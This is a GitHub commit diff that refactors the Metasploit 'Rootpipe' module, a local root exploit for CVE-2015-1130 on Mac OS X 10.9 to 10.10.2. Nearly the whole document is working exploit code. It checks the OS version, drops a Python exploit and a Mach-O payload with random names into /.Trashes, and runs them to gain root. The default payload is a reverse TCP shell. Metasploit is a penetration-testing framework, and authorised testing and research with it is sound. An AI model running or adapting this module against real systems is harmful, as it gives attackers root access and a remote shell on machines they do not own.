Skip to content

Commit 4188513

Browse files
committed
Refactor and clean
Finally breaking free of some stubborn old habits. :)
1 parent a7601c1 commit 4188513

File tree

1 file changed

+49
-39
lines changed

1 file changed

+49
-39
lines changed

modules/exploits/osx/local/rootpipe.rb

Lines changed: 49 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -9,86 +9,96 @@ class Metasploit4 < Msf::Exploit::Local
99

1010
Rank = GreatRanking
1111

12-
include Msf::Post::File
12+
include Msf::Post::OSX::System
1313
include Msf::Exploit::EXE
1414
include Msf::Exploit::FileDropper
1515

1616
def initialize(info = {})
1717
super(update_info(info,
18-
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
19-
'Description' => %q{
18+
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
19+
'Description' => %q{
2020
This module exploits a hidden backdoor API in Apple's Admin framework on
21-
OS X to escalate privileges to root. Dubbed "Rootpipe."
21+
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
2222
2323
Tested on Yosemite 10.10.2 and should work on previous versions.
2424
2525
The patch for this issue was not backported to older releases.
2626
},
27-
'Author' => [
27+
'Author' => [
2828
'Emil Kvarnhammar', # Vulnerability discovery and PoC
29-
'joev', # Copy/paste monkey
30-
'wvu' # Meta copy/paste monkey
29+
'joev', # Copy/paste monkey
30+
'wvu' # Meta copy/paste monkey
3131
],
32-
'References' => [
33-
['CVE', '2015-1130'],
34-
['EDB', '36692'],
35-
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
32+
'References' => [
33+
['CVE', '2015-1130'],
34+
['OSVDB', '114114'],
35+
['EDB', '36692'],
36+
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
3637
],
3738
'DisclosureDate' => 'Apr 9 2015',
38-
'License' => MSF_LICENSE,
39-
'Platform' => 'osx',
40-
'Arch' => ARCH_X86_64,
41-
'SessionTypes' => ['shell', 'meterpreter'],
42-
'Targets' => [
43-
['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
39+
'License' => MSF_LICENSE,
40+
'Platform' => 'osx',
41+
'Arch' => ARCH_X86_64,
42+
'SessionTypes' => ['shell'],
43+
'Targets' => [
44+
['Mac OS X 10.9-10.10.2', {}]
4445
],
45-
'DefaultTarget' => 0,
46+
'DefaultTarget' => 0,
4647
'DefaultOptions' => {
4748
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
48-
'CMD' => '/bin/zsh'
49+
'CMD' => '/bin/zsh'
4950
}
5051
))
5152

5253
register_options([
53-
OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
54-
OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
54+
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
55+
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
5556
])
5657
end
5758

5859
def check
59-
if ver_between(osx_ver, '10.9', '10.10.2')
60-
Exploit::CheckCode::Vulnerable
61-
else
62-
Exploit::CheckCode::Safe
63-
end
60+
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
61+
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
62+
) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
6463
end
6564

6665
def exploit
67-
exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
68-
python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
69-
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
70-
exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
71-
payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
72-
73-
print_status("Writing exploit file as '#{exploit_file}'")
66+
print_status("Writing exploit to `#{exploit_file}'")
7467
write_file(exploit_file, python_exploit)
7568
register_file_for_cleanup(exploit_file)
7669

77-
print_status("Writing payload file as '#{payload_file}'")
70+
print_status("Writing payload to `#{payload_file}'")
7871
write_file(payload_file, binary_payload)
7972
register_file_for_cleanup(payload_file)
8073

74+
print_status('Executing exploit...')
75+
cmd_exec(sploit)
8176
print_status('Executing payload...')
82-
cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
8377
cmd_exec(payload_file)
8478
end
8579

86-
def osx_ver
87-
cmd_exec('sw_vers -productVersion').to_s.strip
80+
def sploit
81+
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
82+
end
83+
84+
def python_exploit
85+
File.read(File.join(
86+
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
87+
))
88+
end
89+
90+
def binary_payload
91+
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
92+
end
93+
94+
def exploit_file
95+
@exploit_file ||=
96+
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
8897
end
8998

90-
def ver_between(a, b, c)
91-
Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
99+
def payload_file
100+
@payload_file ||=
101+
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
92102
end
93103

94104
end

0 commit comments

Comments
 (0)